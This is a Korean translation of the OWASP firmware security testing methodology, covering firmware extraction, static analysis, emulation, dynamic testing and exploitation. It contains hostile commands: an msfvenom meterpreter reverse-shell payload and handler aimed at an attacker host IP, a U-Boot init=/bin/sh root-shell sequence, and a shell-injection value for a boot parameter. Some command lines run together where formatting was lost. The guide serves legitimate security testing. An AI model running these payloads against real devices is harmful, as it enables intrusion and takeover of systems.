owasp fstm
1.0.0
| 설명 |
|---|
FSTM은 보안 연구원, 소프트웨어 개발자, 애호가, 정보 보안 전문가가 펌웨어 보안 평가를 수행할 수 있도록 맞춤화된 9단계로 구성됩니다. |
네트워크 연결 여부에 관계없이 펌웨어는 모든 내장 장치 제어의 중심입니다. 따라서 무단 기능을 수행하고 잠재적으로 지원 생태계의 보안을 손상시키기 위해 펌웨어를 조작할 수 있는 방법을 이해하는 것이 중요합니다. 보안 테스트 및 펌웨어 리버스 엔지니어링 수행을 시작하려면 향후 평가를 시작할 때 다음 방법론을 지침으로 사용하십시오. 이 방법론은 보안 연구원, 소프트웨어 개발자, 컨설턴트, 애호가 및 정보 보안 전문가가 펌웨어 보안 평가를 수행할 수 있도록 맞춤화된 9단계로 구성됩니다.
| 단계 | 설명 |
|---|---|
| 1. 정보수집 및 정찰 | 대상 장치의 펌웨어와 관련된 모든 관련 기술 및 문서 세부 정보를 획득합니다. |
| 2. 펌웨어 얻기 | 나열된 제안 방법 중 하나 이상을 사용하여 펌웨어를 얻습니다. |
| 3. 펌웨어 분석 | 대상 펌웨어의 특성을 검사합니다. |
| 4. 파일 시스템 추출 | 대상 펌웨어에서 파일 시스템 내용을 조각합니다. |
| 5. 파일 시스템 내용 분석 | 취약점에 대해 추출된 파일 시스템 구성 파일 및 바이너리를 정적으로 분석합니다. |
| 6. 펌웨어 에뮬레이션 | 펌웨어 파일 및 구성요소 에뮬레이션 |
| 7. 동적해석 | 펌웨어 및 애플리케이션 인터페이스에 대한 동적 보안 테스트 수행 |
| 8. 런타임 분석 | 장치 런타임 중에 컴파일된 바이너리 분석 |
| 9. 바이너리 활용 | 루트 및/또는 코드 실행을 달성하기 위해 이전 단계에서 발견된 식별된 취약점을 악용합니다. |
다음 섹션에서는 해당되는 경우 지원 예시를 통해 각 단계를 자세히 설명합니다. 최신 방법론 업데이트와 향후 프로젝트 릴리스를 보려면 OWASP 사물 인터넷 프로젝트 페이지와 GitHub 저장소를 방문하는 것을 고려해 보세요.
이 문서 전체에서 사용되는 펌웨어 테스트 도구가 포함된 사전 구성된 Ubuntu 가상 머신(EmbedOS)은 다음 링크를 통해 다운로드할 수 있습니다. EmbedOS 도구에 대한 자세한 내용은 GitHub 저장소(https://github.com/scriptingxss/EmbedOS) 내에서 확인할 수 있습니다.
이 단계에서는 대상에 대한 정보를 최대한 많이 수집하여 기본 기술의 전반적인 구성을 이해합니다. 다음을 수집해 보세요.
위에 나열된 정보는 설문지나 접수 양식을 통해 보안 테스트 현장 작업에 앞서 수집되어야 합니다. 정확한 최신 데이터를 확보하려면 내부 제품 라인 개발 팀을 활용하십시오. 적용된 보안 제어뿐만 아니라 로드맵 항목, 알려진 보안 문제 및 가장 우려되는 위험을 이해합니다. 필요한 경우 문제의 특정 기능에 대한 후속 심층 분석을 예약하세요. 평가는 협업 환경에서 가장 성공적입니다.
가능하다면 오픈 소스 인텔리전스(OSINT) 도구 및 기술을 사용하여 데이터를 획득하십시오. 오픈 소스 소프트웨어를 사용하는 경우 저장소를 다운로드하고 코드 베이스에 대해 수동 및 자동 정적 분석을 모두 수행합니다. 때때로 오픈 소스 소프트웨어 프로젝트에서는 Coverity Scan 및 Semmle의 LGTM과 같은 스캔 결과를 제공하는 공급업체에서 제공하는 무료 정적 분석 도구를 이미 사용하고 있습니다. 예를 들어, 아래 스크린샷은 Das U-Boot의 Coverity Scan 결과 조각을 보여줍니다.
사진 : U-Boot 커버리티 스캔
사진 : U-Boot 커버리티 스캔 분석
아래는 LGTM 분석의 Dropbear 결과 스크린샷입니다.
사진 : LGTM Dropbear 경고
사진 : LGTM Dropbear 결과
정보를 확보한 상태에서 손상 시 가장 큰 가치를 나타내는 공격 표면과 영향 영역을 매핑하는 가벼운 위협 모델 연습을 수행해야 합니다.
펌웨어 내용 검토를 시작하려면 펌웨어 이미지 파일을 획득해야 합니다. 다음 방법 중 하나 이상을 사용하여 펌웨어 콘텐츠를 얻으십시오.
*참고: 노출된 클라우드 제공업체 스토리지 서비스에서 데이터를 다운로드할 때는 현지 법률 및 규정을 준수해야 합니다.
나열된 각 방법은 난이도가 다르므로 전체 목록으로 간주되어서는 안 됩니다. 프로젝트 목표와 참여 규칙에 따라 적절한 방법을 선택하십시오. 가능하다면 디버그 코드 또는 기능이 릴리스 내에서 컴파일되는 경우 테스트 범위 사용 사례를 최대화하기 위해 펌웨어의 디버그 빌드와 릴리스 빌드를 모두 요청하십시오.
펌웨어 이미지를 얻은 후에는 파일의 측면을 탐색하여 해당 특성을 식별합니다. 다음 단계를 사용하여 펌웨어 파일 유형, 잠재적인 루트 파일 시스템 메타데이터를 분석하고 컴파일된 플랫폼에 대한 추가 이해를 얻으십시오.
다음과 같은 유틸리티를 활용하세요.
file <bin>
strings
strings -n5 <bin>
strings -n16 <bin>#longer than 16
strings -tx <bin> #print offsets in hex
binwalk <bin>
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
위의 방법 중 어느 것도 유용한 데이터를 제공하지 않는 경우 다음이 가능합니다.
바이너리가 암호화될 수 있는 경우 다음 명령으로 binwalk를 사용하여 엔트로피를 확인합니다.
$ binwalk -E <bin>
낮은 엔트로피 = 암호화될 가능성이 없음
높은 엔트로피 = 암호화(또는 어떤 방식으로든 압축)되었을 가능성이 높습니다.
Binvis 온라인과 독립형 애플리케이션을 사용하여 대체 도구를 사용할 수도 있습니다.
이 단계에는 펌웨어 내부를 살펴보고 관련 파일 시스템 데이터를 구문 분석하여 잠재적인 보안 문제를 최대한 많이 식별하는 작업이 포함됩니다. 다음 단계에 사용되는 컴파일되지 않은 코드 및 장치 구성을 검토하기 위해 펌웨어 콘텐츠를 추출하려면 다음 단계를 따르십시오. 자동 및 수동 추출 방법이 모두 아래에 나와 있습니다.
$ binwalk -ev <bin>
파일은 " _binaryname/filesystemtype/ "에 추출됩니다.
파일 시스템 유형: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, crushfs, initramfs
2a. 때로는 binwalk의 서명에 파일 시스템의 매직 바이트가 없을 수도 있습니다. 이러한 경우 binwalk를 사용하여 파일 시스템의 오프셋을 찾고 바이너리에서 압축된 파일 시스템을 조각한 다음 아래 단계를 사용하여 해당 유형에 따라 파일 시스템을 수동으로 추출합니다.
$ binwalk DIR850L_REVB.bin
DECIMAL HEXADECIMAL DESCRIPTION
----------------------------------------------------------------------------- ---
0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
2b. Squashfs 파일 시스템을 조각하는 다음 dd 명령을 실행하십시오.
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536+0 records in
8257536+0 records out
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
또는 다음 명령을 실행할 수도 있습니다.
$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs
2c. Squashfs의 경우(위 예에서 사용됨)
$ unsquashfs dir.squashfs
나중에 파일은 " squashfs-root " 디렉토리에 있게 됩니다.
2d. CPIO 아카이브 파일
$ cpio -ivd --no-absolute-filenames -F <bin>
2f. jffs2 파일 시스템의 경우
$ jefferson rootfsfile.jffs2
2d. NAND 플래시를 갖춘 ubifs 파일 시스템의 경우
$ ubireader_extract_images -u UBI -s <start_offset> <bin>
$ ubidump.py <bin>
이 단계에서는 동적 및 런타임 분석 단계에 대한 단서를 수집합니다. 대상 펌웨어에 다음이 포함되어 있는지 조사하십시오(완전하지는 않음).
파일 시스템 콘텐츠와 컴파일되지 않은 코드를 수동으로 정적으로 분석하거나 다음을 구문 분석하는 Firmwalker와 같은 자동화 도구를 활용합니다.
다음 하위 섹션에서는 오픈 소스 자동화 펌웨어 분석 도구를 소개합니다.
~/tools/firmwalker의 해당 디렉터리 내에서 Firmwalker를 실행하고 Firmwalker가 추출된 파일 시스템 루트 디렉터리의 절대 경로를 가리키도록 합니다. Firmwalker는 규칙을 구문 분석하기 위해 "/data/" 디렉터리의 정보를 사용합니다. 추가 검사를 통해 Aaron Guzman이 수정한 사용자 정의 포크는 GitHub(https://github.com/scriptingxss/firmwalker)에서 찾을 수 있습니다. 다음 예는 사용법을 보여줍니다. OWASP의 IoTGoat에서 사용되는 Firmwalker. 추가적인 취약한 펌웨어 프로젝트는 문서 끝의 취약한 펌웨어 섹션에 나열되어 있습니다.
$ ./firmwalker.sh /home/embedos/firmware/ _IoTGoat-rpi-2.img.extracted/squashfs-root/
아래의 Firmwalker 출력을 참조하세요.
Firmwalker.txt와 Firmwalkerappsec.txt라는 두 개의 파일이 생성됩니다. 이러한 출력 파일은 수동으로 검토해야 합니다.
다행스럽게도 여러 오픈 소스 자동화 펌웨어 분석 도구를 사용할 수 있습니다. FACT 기능에는 다음이 포함됩니다.
운영 체제, CPU 아키텍처, 타사 구성 요소 등의 소프트웨어 구성 요소와 관련 버전 정보 식별
이미지에서 펌웨어 파일 시스템 추출
인증서 및 개인 키 감지
CWE(Common Weakness Enumeration)에 대한 약한 구현 매핑 감지
피드 및 시그니처 기반 취약점 감지
기본 정적 행동 분석
펌웨어 버전 및 파일 비교(차이)
QEMU를 사용한 파일 시스템 바이너리의 사용자 모드 에뮬레이션
NX, DEP, ASLR, 스택 카나리아, RELRO 및 FORTIFY_SOURCE와 같은 바이너리 완화 감지
REST API
그리고 더...
다음은 사전 구성된 동반 가상 머신 내에서 펌웨어 분석 비교 도구 키트를 사용하기 위한 지침입니다.
팁: 도구가 훨씬 느린 속도로 최소 4개 코어와 8GB RAM에서 실행될 수 있지만 16코어 64GB RAM이 있는 컴퓨터에서 FACT를 실행하는 것이 좋습니다. 스캔 출력 결과는 가상 머신에 할당된 리소스에 따라 달라집니다. 리소스가 많을수록 FACT에서 스캔 제출을 더 빠르게 완료할 수 있습니다.
$ cd ~/tools/FACT_core/
$ sudo ./start_all_installed_fact_components
브라우저에서 http://127.0.0.1:5000으로 이동합니다.
사진 : FACT 대시보드
분석을 위해 펌웨어 구성 요소를 FACT에 업로드합니다. 아래 스크린샷에서는 루트 파일 시스템이 포함된 압축된 전체 펌웨어가 업로드되고 분석됩니다.
사진 : FACT 업로드
FACT에 제공된 하드웨어 리소스에 따라 분석 결과는 특정 시간에 대한 스캔 결과와 함께 표시됩니다. 최소한의 리소스가 할당된 경우 이 프로세스에는 몇 시간이 걸릴 수 있습니다.
사진 : FACT IoT염소
그림 : FACT IoTGoat 악용 완화 결과
IDA Pro, Ghidra, Hopper, Capstone 또는 Binary Ninja를 사용하여 FACT에서 수집한 데이터로 의심되는 표적 바이너리를 분해합니다. 잠재적인 원격 코드 실행 시스템 호출, 문자열, 함수 목록, 메모리 손상 취약성에 대한 바이너리를 분석하고 system() 또는 유사한 함수 호출에 대한 외부 참조를 식별합니다. 향후 단계에 사용할 잠재적인 취약점을 기록해 두세요.
다음 스크린샷은 Ghidra를 사용하여 분해된 "shellback" 바이너리를 보여줍니다.
사진 : Shellback Ghidra 분석
일반적인 이진 분석은 다음 검토로 구성됩니다.
$ readelf -aW bin/*| grep stack_chk_fail$ mips-buildroot-linux-uclibc-objdump -d bin/binary | grep stack_chk_fail$ readelf -h <bin> | grep -q 'Type:[[:space:]]*EXEC'$ readelf -h <bin> | grep 'Type:[[:space:]]*DYN'$ readelf -d <bin> | grep -q 'DEBUG'$ readelf --syms <bin>$ nm <bin>-el 16비트 너비의 리틀 엔디안 문자(예: UTF-16)를 지정합니다.-eb 사용하세요.-t 플래그는 파일 내 문자열의 오프셋을 반환합니다.-tx 16진수 형식으로, T-to는 8진수로, -td 는 10진수로 반환합니다.strings -n5 <bin>strings -el <bin>strings -n16 <bin>strings -tx <bin>$ readelf -lW bin/<bin>| grep STACK GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
'E'는 스택이 실행 가능함을 나타냅니다.
$ execstack bin/*
X bin/ash
X bin/busybox
$ readelf -d binary | grep BIND_NOW$ readelf -d binary | grep GNU_RELRO위의 많은 바이너리 속성 검사를 자동화하는 스크립트는 checksec.sh입니다. 아래에는 스크립트를 사용하는 두 가지 예가 나와 있습니다.
> ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 /home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
> ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 /home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
사진 : Checksec.sh
Microsoft 바이너리(EXE 및 DLL)의 경우 PESecurity를 사용하여 ASLR, DEP, SafeSEH, StrongNaming, Authenticode, Control Flow Guard 및 HighEntropyVA를 확인하세요.
EMBA는 침투 테스터를 위한 핵심 펌웨어 분석 도구로 설계되었습니다. 펌웨어 추출 , 정적 분석 , 에뮬레이션을 통한 동적 분석 부터 추가 분석을 위한 웹 기반 보고서 생성에 이르기까지 전체 보안 분석 프로세스를 지원합니다. 단일 명령으로 실행되는 EMBA는 안전하지 않은 바이너리, 오래되고 오래된 소프트웨어 구성 요소, 잠재적으로 취약한 스크립트 또는 하드 코딩된 비밀번호 등 테스트 중인 펌웨어의 잠재적인 약점과 취약점을 자동으로 검색합니다.
EMBA 기능에는 다음이 포함됩니다.
EMBA는 백그라운드에서 여러 다른 도구를 사용하고 있습니다. 필요한 시스템 리소스는 분석하려는 펌웨어에 따라 크게 달라집니다. 일반적으로 EMBA는 다음 환경에서 매우 원활하게 실행됩니다.
필요한 환경을 설치하려면 루트 권한으로 설치 스크립트를 실행해야 합니다.
sudo ./installer.sh -d 일반 설치를 실행하려면 설치 프로그램에서 -d 스위치를 사용해야 합니다. 그러면 호스트에 필요한 종속성(예: cve-search)이 설치되고 EMBA 도커 이미지가 다운로드됩니다. 초기 설치 시 이 방법을 사용하는 것이 좋습니다.
설치 프로세스가 완료된 후 명령줄에서 펌웨어 보안 분석을 위해 EMBA를 사용할 수 있습니다. EMBA를 시작하기 전에 OWASP IoTGoat 펌웨어와 같은 테스트 펌웨어를 다운로드하십시오. 다음 명령은 일반적인 EMBA 명령을 보여줍니다.
sudo ./emba.sh -f ~ /IoTGoat-x86.img.gz -l ~ /emba_logs_iotgoat -p ./scan-profiles/default-scan.emba표시된 명령은 다음 기본 옵션을 구성합니다.
추가 옵션을 사용할 수 있으며 ./emba.sh -h 를 통해 볼 수 있습니다.
모든 펌웨어 테스트의 첫 번째 단계는 현재 설치의 상태를 확인하는 것입니다.
상태 확인이 성공적으로 완료되면 구성된 펌웨어의 식별 및 추출로 분석 프로세스가 시작됩니다.
펌웨어를 테스트하는 동안 모든 결과와 현재 상태가 터미널에 실시간으로 표시됩니다. 일반적인 스캔은 스레드 모드( -t 매개변수 )에서 실행되므로 이 출력은 왜곡되어 읽기가 쉽지 않습니다. 추가 분석을 위해 로그 디렉터리 및 웹 보고서( -W 매개변수 )에 생성된 텍스트 기반 로그 파일을 사용하는 것이 좋습니다. 펌웨어 스캔을 마친 후 EMBA는 터미널에 결과 요약을 표시합니다.
추가 결과는 로그 디렉터리에서 확인할 수 있으며 명령줄이나 웹 브라우저를 통해 분석할 수 있습니다.
firefox ~ /emba_logs_iotgoat/html-report/index.html
생성된 HTML 보고서는 독립적이며 쉽게 공유할 수 있습니다. 또한 이 보고서는 완전히 대화형이며 집계된 요약 대시보드를 통해 모든 테스트 세부 정보에 접근할 수 있습니다.
자세한 내용은 공식 EMBA git 저장소 에서 확인할 수 있습니다.
EMBark는 펌웨어 보안 스캐너 EMBA를 위한 웹 기반 엔터프라이즈 인터페이스입니다. 펌웨어 보안 분석기 EMBA를 컨테이너화된 서비스로 제공하고 시스템 및 운영 체제에 관계없이 펌웨어 스캐닝 백엔드 EMBA 에 쉽게 접근할 수 있도록 개발되었습니다.
또한 EMBark는 다양한 스캔 결과를 통합 관리 대시보드에 집계하여 데이터 제공을 향상시킵니다.
모든 스캔의 세부 정보 페이지에서 펌웨어 스캔의 세부 보고서에 액세스하고, 추가 테스트를 시작하고, 스캔 로그를 다운로드할 수 있습니다.
각 펌웨어 테스트의 주요 결과에 대한 자세한 내용은 세부 보고서에서 확인할 수 있습니다.
자세한 내용은 공식 EMBark git 저장소 에서 확인할 수 있습니다.
참고: EMBark는 매우 초기 개발 단계에 있습니다.
이전 단계에서 식별된 세부 정보와 단서를 사용하여 펌웨어와 캡슐화된 바이너리를 에뮬레이션하여 잠재적인 취약점을 확인해야 합니다. 펌웨어 에뮬레이션을 수행하려면 아래에 나열된 몇 가지 접근 방식이 있습니다.
/usr/bin/shellback 과 같은 펌웨어의 추출된 파일 시스템에서 파생된 독립형 바이너리 에뮬레이션부분적으로 바이너리 에뮬레이션을 시작하려면 다음 단계에서 적절한 QEMU 에뮬레이션 바이너리를 선택하기 위해 CPU 아키텍처와 엔디안을 알아야 합니다.
$ binwalk -Y <bin>
$ readelf -h <bin>
엘 - 리틀 엔디안
eb - 빅 엔디안
Binwalk는 아래 명령을 사용하여 패키지된 펌웨어 바이너리(추출된 펌웨어 내의 바이너리가 아닌)에 대한 엔디안을 식별하는 데 사용할 수 있습니다.
$ binwalk -Y UPG_ipc8120p-w7-M20-hi3516c-20160328_165229.ov
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
3480 0xD98 ARM executable code, 32-bit, little endian, at least 1154 valid instructions
CPU 아키텍처와 엔디안이 식별된 후 부분 에뮬레이션을 수행할 적절한 QEMU 바이너리를 찾습니다(전체 펌웨어를 에뮬레이션하기 위한 것이 아니라 추출된 펌웨어가 포함된 바이너리).
일반적으로 다음과 같습니다.
/usr/local/qemu-arch 또는 /usr/bin/qemu-arch
해당 QEMU 바이너리를 추출된 루트 파일 시스템에 복사합니다. 두 번째 명령은 절대 경로를 표시하는 ZSH 셸 내의 추출된 루트 파일 시스템에 정적 arm QEMU 바이너리를 복사하는 방법을 보여줍니다.
> cp /usr/local/qemu-arch /extractedrootFS/
/home/embedos/firmware/_DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted.extracted/squashfs-root
> cp /usr/bin/qemu-arm-static .
다음 명령으로 QEMU 및 chroot를 사용하여 에뮬레이트할 ARM 바이너리(또는 적절한 아치)를 실행합니다.
$ sudo chroot . ./qemu-arch <binarytoemulate>
다음 예에서는 공격자 컴퓨터가 사용할 가능성이 있는 일반적인 x64 아키텍처 내에서 에뮬레이트된 Busybox를 보여줍니다.
> sudo chroot . ./qemu-arm-static bin/busybox ls
[sudo] password for embedos:
bin etc overlay rom sys var
dev lib proc root tmp www
dnsmasq_setup.sh mnt qemu-arm-static sbin usr
아래는 포트 5515에서 수신 대기하는 서비스를 에뮬레이션하는 예입니다.
> sudo chroot . ./qemu-arm-static usr/bin/shellback
또한 qiling 프레임워크를 사용하여 동일한 서비스를 에뮬레이션할 수 있습니다.
> ./qltool run --console False -f ~/_IoTGoat-x86.img.extracted/squashfs-root/usr/bin/shellback --rootfs ~/_IoTGoat-x86.img.extracted/squashfs-root
다른 터미널에서 서비스가 로컬로 수신 대기 중인지 확인하고 netcat으로 연결을 시도합니다.
> sudo lsof -i :5515
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
qemu-arm- 13264 root 3u IPv4 662221 0t0 TCP *:5515 (LISTEN)
> nc -nv 127.0.0.1 5515
Connection to 127.0.0.1 5515 port [tcp/*] succeeded!
[***]Successfully Connected to IoTGoat's Backdoor[***]
때때로 요청은 HTTP 서버에 의해 CGI 바이너리로 전달됩니다. CGI 바이너리를 간단히 에뮬레이션함으로써, HTTP 서버를 구축하지 않고도 프로세스 과정을 분석하거나 취약점을 검증하는 것이 가능합니다. 다음 예에서는 MIPS CGI 바이너리에 GET 요청을 발행합니다.
~/DIR850L/squashfs-root/htdocs/web$ ls -l captcha.cgi
lrwxrwxrwx 1 root root 14 Oct 17 2017 captcha.cgi -> /htdocs/cgibin
# fix the broken symbolic link
~/DIR850L/squashfs-root/htdocs/web$ rm captcha.cgi && ln -s ../cgibin captcha.cgi
~/DIR850L/squashfs-root$ sudo chroot . ./qemu-mips-static -E REQUEST_METHOD="GET" -E REQUEST_URI="/captcha.cgi" -E REMOTE_ADDR="192.168.1.1" -E CONTENT_TYPE="text/html" /htdocs/web/captcha.cgi
HTTP/1.1 200 OK
Content-Type: text/xml
<?xml version="1.0" encoding="utf-8"?><captcha>
<result>FAIL</result><message>NO SESSION</message>
</captcha>
에뮬레이트된 대상 바이너리를 사용하여 해당 인터프리터 또는 청취 서비스와 상호작용합니다. 다음 단계에서 언급한 대로 애플리케이션과 네트워크 인터페이스를 퍼지합니다.
가능하면 Firmadyne, 펌웨어 분석 툴킷 또는 ARM-X 펌웨어 에뮬레이션 프레임워크와 같은 자동화 도구를 사용하여 펌웨어의 전체 에뮬레이션을 수행하십시오. 이러한 도구는 본질적으로 QEMU 및 nvram과 같은 기타 환경 기능을 위한 래퍼입니다.
펌웨어 분석 도구 키트를 사용하여 다음 명령을 실행하면 됩니다.
sudo python3 ./fat.py IoTGoat-rpi-2.img --qemu 2.5.0
__ _
/ _| | |
| |_ __ _ | |_
| _| / _` | | __|
| | | (_| | | |_
|_| __,_| __|
Welcome to the Firmware Analysis Toolkit - v0.3
Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation
By Attify - https://attify.com | @attifyme
[+] Firmware: IoTGoat-rpi-2.img
[+] Extracting the firmware...
[+] Image ID: 1
[+] Identifying architecture...
[+] Architecture: armel
[+] Building QEMU disk image...
[+] Setting up the network connection, please standby...
[+] Network interfaces: [('eth0', '192.168.1.1')]
[...]
Adding route to 192.168.1.1...
Starting firmware emulation... use Ctrl-a + x to exit
[ 0.000000] Booting Linux on physical CPU 0x0
[ 0.000000] Linux version 4.1.17+ (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:05:21 UTC 2016
[ 0.000000] CPU: ARMv7 Processor [412fc0f1] revision 1 (ARMv7), cr=10c5387d
[ 0.000000] CPU: PIPT / VIPT nonaliasing data cache, PIPT instruction cache
BusyBox v1.28.4 () built-in shell (ash)
.--,\__
██████╗ ██╗ ██╗ █████╗ ███████╗██████╗ `-. a`-.__
██╔═══██╗██║ ██║██╔══██╗██╔════╝██╔══██╗ | ')
██║ ██║██║ █╗ ██║███████║███████╗██████╔╝ / _.-'-,`;
██║ ██║██║███╗██║██╔══██║╚════██║██╔═══╝ / | { /
╚██████╔╝╚███╔███╔╝██║ ██║███████║██║ / | { /
╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚══════╝╚═╝ ..-"``~"-' ; )
╦┌─┐╔╦╗╔═╗┌─┐┌─┐┌┬┐ ;' `
║│ │ ║ ║ ╦│ │├─┤ │ ;' `
╩└─┘ ╩ ╚═╝└─┘┴ ┴ ┴ ;' `
------------------------------------------------------------ ;'
GitHub: https://github.com/OWASP/IoTGoat
------------------------------------------------------------
root@IoTGoat:/#
참고: 펌웨어에 일반적이지 않은 압축, 파일 시스템 또는 지원되지 않는 아키텍처가 포함되어 있는 경우 이러한 도구를 수정해야 할 수 있습니다.
이 단계에서는 장치가 일반 환경이나 에뮬레이트된 환경에서 실행되는 동안 동적 테스트를 수행합니다. 이 단계의 목표는 프로젝트 및 제공된 액세스 수준에 따라 달라질 수 있습니다. 일반적으로 여기에는 부트로더 구성 변조, 웹 및 API 테스트, 퍼징(네트워크 및 애플리케이션 서비스)뿐만 아니라 높은 액세스 권한(루트) 및/또는 코드 실행을 얻기 위해 다양한 도구 세트를 사용한 능동 검색이 포함됩니다.
도움이 될 수 있는 도구는 다음과 같습니다(완전하지는 않음).
OWASP의 테스트 가이드 및 ASVS(애플리케이션 보안 검증 표준)와 같은 업계 표준 웹 방법론을 참조하세요.
내장형 장치의 웹 애플리케이션 내에서 검토할 특정 영역은 다음과 같습니다.
제품과 해당 애플리케이션 인터페이스에 따라 테스트 사례가 달라집니다.
장치 시작 및 U-boot와 같은 부트로더를 수정할 때 다음을 시도하십시오.
init=/bin/sh '를 추가하는 등 셸 명령을 실행하도록 구성을 수정합니다.#printenv#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 int=/bin/sh#saveenv#boot#setenv ipaddr 192.168.2.2 #local IP of the device#setenv serverip 192.168.2.1 #tftp server IP#saveenv#reset#ping 192.168.2.1 #check if network access is available#tftp ${loadaddr} uImage-3.6.35 #loadaddr takes two arguments: the address to load the file into and the filename of the image on the TFTP serverubootwrite.py 사용하여 uboot-image를 작성하고 수정된 펌웨어를 푸시하여 루트를 얻습니다.'a";/bin/sh;#' 와 같은 명령 주입 명령으로 ' FILENAME ' 매개변수를 수정하여 장치 시작 절차에 대한 입력 유효성 검사를 테스트합니다.*하드웨어 보안 테스트
무결성 또는 서명 확인 결함에 대해 사용자 지정 펌웨어 및/또는 컴파일된 바이너리를 업로드하려고 시도합니다. 예를 들어 다음 단계를 사용하여 부팅 시 시작되는 백도어 바인드 셸을 컴파일합니다.
동적 분석, 부트로더 조작 또는 하드웨어 보안 테스트 수단을 통해 루트 쉘을 이미 얻은 경우 임플란트 또는 리버스 쉘과 같은 사전 컴파일된 악성 바이너리 실행을 시도하십시오. 명령 및 제어(C&C) 프레임워크에 사용되는 자동화된 페이로드/임플란트 도구 사용을 고려하세요. 예를 들어 Metasploit 프레임워크와 'msfvenom'은 다음 단계를 통해 활용할 수 있습니다.
msfvenom 사용하여 적절한 대상 페이로드(-p), 공격자 호스트 IP(LHOST=), 수신 포트 번호(LPORT=) 파일 유형(-f), 아키텍처(--arch), 플랫폼(--platform linux 또는 windows)을 지정합니다. 및 출력 파일(-o)입니다. 예를 들어, msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linuxset payload linux/armle/meterpreter_reverse_tcpset LHOST 192.168.1.245 #attacker host IPset LPORT 445 #can be any unused portset ExitOnSession falseexploit -j -z가능하다면 시작 스크립트 내의 취약점을 식별하여 재부팅 시 장치에 대한 지속적인 액세스 권한을 얻으십시오. 이러한 취약점은 시작 스크립트가 SD 카드 및 루트 파일 시스템 외부의 저장 데이터에 사용되는 플래시 볼륨과 같이 신뢰할 수 없는 마운트 위치에 있는 코드를 참조하거나 기호적으로 링크하거나 의존할 때 발생합니다.
런타임 분석에는 장치가 일반 환경이나 에뮬레이트된 환경에서 실행되는 동안 실행 중인 프로세스나 바이너리에 연결하는 작업이 포함됩니다. 기본 런타임 분석 단계는 다음과 같습니다.
sudo chroot . ./qemu-arch -L <optionalLibPath> -g <gdb_port> <binary>도움이 될 수 있는 도구는 다음과 같습니다(완전하지는 않음).
이전 단계에서 바이너리 내의 취약점을 식별한 후 실제 영향과 위험을 입증하기 위해 적절한 개념 증명(PoC)이 필요합니다. 익스플로잇 코드를 개발하려면 하위 수준 언어(예: ASM, C/C++, 쉘코드 등)에 대한 프로그래밍 경험과 특정 대상 아키텍처(예: MIPS, ARM, x86 등)에 대한 배경 지식이 필요합니다. PoC 코드에는 메모리의 명령을 제어하여 장치나 애플리케이션에서 임의의 실행을 얻는 것이 포함됩니다.
바이너리 런타임 보호(예: NX, DEP, ASLR 등)가 임베디드 시스템 내에 배치되는 것은 일반적이지 않습니다. 그러나 이 경우 ROP(반환 지향 프로그래밍)와 같은 추가 기술이 필요할 수 있습니다. ROP를 사용하면 공격자가 가젯이라고 알려진 대상 프로세스/바이너리 코드에 기존 코드를 연결하여 임의의 악성 기능을 구현할 수 있습니다. ROP 체인을 형성하여 버퍼 오버플로와 같은 식별된 취약성을 악용하기 위한 조치를 취해야 합니다. 이와 같은 상황에 유용할 수 있는 도구는 Capstone의 가젯 찾기 또는 ROPGadget(https://github.com/JonathanSalwan/ROPgadget)입니다.
추가 지침은 다음 참고 자료를 활용하십시오.
펌웨어 평가 전반에 걸쳐 도구 조합이 사용됩니다. 아래에는 일반적으로 사용되는 도구가 나열되어 있습니다.
펌웨어의 취약점 발견을 연습하려면 다음 취약한 펌웨어 프로젝트를 시작점으로 사용하십시오.
피드백 및 기여
이 방법론을 개선하기 위해 기여하거나 피드백을 제공하려면 [email protected](@scriptingxss)에 문의하세요. 문제나 끌어오기 요청을 제출해 주시면 저희가 최선을 다해 처리해 드리겠습니다!
후원자인 Cisco Meraki, OWASP Inland Empire, OWASP Los Angeles와 세심한 검토를 해주신 José Alejandro Rivas Vidal에게 특별히 감사드립니다.
전체 기여자 목록은 https://github.com/scriptingxss/owasp-fstm/graphs/contributors를 통해 확인할 수 있습니다.
특허
Creative Commons Attribution Share alkike 4.0 International
